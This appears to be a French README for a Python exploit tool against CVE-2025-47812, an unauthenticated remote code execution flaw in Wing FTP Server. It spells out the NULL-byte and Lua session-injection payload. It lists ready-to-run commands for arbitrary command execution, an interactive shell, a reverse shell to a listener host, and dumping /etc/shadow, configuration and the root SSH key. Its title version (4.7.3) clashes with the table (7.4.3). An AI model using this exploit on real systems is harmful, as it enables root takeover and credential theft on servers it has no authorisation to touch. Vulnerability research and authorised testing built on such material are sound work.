
RCE pour WingFTP v4.7.3
██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗
██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗
██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝
██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝
╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║
╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
| Champ | Détail |
|---|---|
| CVE | CVE-2025-47812 |
| Versions affectées | Wing FTP Server <= 7.4.3 |
| Version corrigée | Wing FTP Server 7.4.4 |
| CVSS | 10.0 (Critique) |
| Authentification requise | Aucune (une connexion anonyme suffit) |
| Privilège obtenu | root (Linux) / NT AUTHORITY\SYSTEM (Windows) |
| Découvert par | Julien Ahrens (@MrTuxracer) — rcesecurity.com |
L'interface web de Wing FTP Server est vulnérable à une attaque d'exécution de code à distance en deux étapes, sans authentification préalable.
La fonction c_CheckUser() du binaire Wing FTP utilise strlen() en interne, ce qui tronque la chaîne du nom d'utilisateur au premier octet NULL (\x00). Cela signifie qu'un nom d'utilisateur comme anonymous%00<arbitrary_data> passe l'authentification tant qu'anonymous (ou tout autre utilisateur valide) existe.
Une fois l'authentification réussie, loginok.html appelle rawset(_SESSION, "username", username) en utilisant le paramètre POST complet et non assaini — y compris tout ce qui suit l'octet NULL. La session est ensuite sérialisée dans un fichier de script Lua sur le disque via SessionModule.save().
Comme la fonction de sérialisation encapsule les valeurs de chaîne dans des littéraux de chaîne longue Lua [[...]] sans aucun assainissement, injecter ]] dans le nom d'utilisateur termine le littéral de chaîne prématurément, ce qui permet d'ajouter du code Lua arbitraire au fichier de session.
Structure de la charge utile :
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
Le -- final met en commentaire le ]] que Wing FTP ajoute après la valeur.
Le fichier de session (nommé d'après la valeur du cookie UID) est un script Lua exécuté via loadfile() + f() à chaque accès à un point de terminaison authentifié. L'envoi d'une requête POST /dir.html avec le cookie UID exécute le Lua injecté et renvoie la sortie de la commande dans le corps de la réponse, avant le contenu <?xml.
requests, urllib3pip install -r requirements.txt
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
# Single command
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# Target by IP (Wing FTP uses virtual-host routing — supply hostname with --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# Interactive pseudo-shell
python3 CVE-2025-47812.py http://ftp.target.com --shell
# Reverse shell (start nc listener separately)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# Reverse shell with built-in listener
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# Dump sensitive files (/etc/passwd, /etc/shadow, Wing.cfg, root SSH key)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# With non-anonymous credentials
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
Mettez à niveau Wing FTP Server vers la version 7.4.4 ou une version ultérieure.
Cet outil est fourni uniquement à des fins éducatives et pour des tests d'intrusion autorisés. Exécuter cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test est illégal et contraire à l'éthique. L'auteur décline toute responsabilité en cas d'utilisation abusive.